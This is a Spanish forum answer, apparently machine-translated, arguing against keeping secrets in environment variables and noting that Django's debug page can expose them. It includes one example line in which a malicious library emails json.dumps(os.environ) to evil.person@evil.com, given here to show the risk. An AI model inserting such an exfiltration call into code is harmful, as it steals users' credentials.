AFAICT, hay dos razones por las que las personas recomiendan almacenar secretos en variables de entorno:
- Es demasiado fácil enviar inadvertidamente archivos planos secretos a un repositorio. (Y si es un repositorio público, estás brindis).
- Evita el desorden de contraseñas, es decir, tener la misma clave en muchos archivos de directorios de proyectos diferentes es en sí mismo un riesgo de seguridad, ya que los desarrolladores eventualmente perderán la pista de dónde se encuentran los secretos.
Estos dos problemas se pueden resolver mejor. El primero debe resolverse con un gancho de confirmación de git que verifique cosas que parezcan contraseñas (por ejemplo, gitleaks ). Desearía que Linus construyera una herramienta de este tipo en el código fuente de la biblioteca git pero, por desgracia, eso no sucedió. (No hace falta decir que siempre se deben agregar archivos secretos .gitignore
, pero necesita un gancho en caso de que alguien se olvide de hacerlo).
Este último se puede resolver teniendo un archivo de secretos de la empresa global, que idealmente se almacena en una unidad compartida de solo lectura. Entonces, en Python, podría tener algo como from company_secrets import *
.
Más importante aún, como han señalado otros, es demasiado fácil piratear secretos almacenados en variables de entorno. Por ejemplo, en Python, el autor de una biblioteca podría insertar send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
y luego estará listo si ejecuta este código. La piratería es mucho más desafiante si tiene un archivo en su sistema llamado ~/secret_company_stuff/.my_very_secret_company_stuff
.
Solo usuarios de Django:
Django (en modo DEBUG) muestra el valor bruto de una variable de entorno en el navegador si hay una excepción (en modo DEBUG). Esto parece muy inseguro si, por ejemplo, un desarrollador inicia la DEBUG=True
producción por accidente . Por el contrario, Django variables de configuración de contraseña Ofuscación mediante la búsqueda de las cuerdas API
, TOKEN
, KEY
, SECRET
, PASS
o SIGNATURE
en el marco de la settings.py
nombres de las variables de archivo.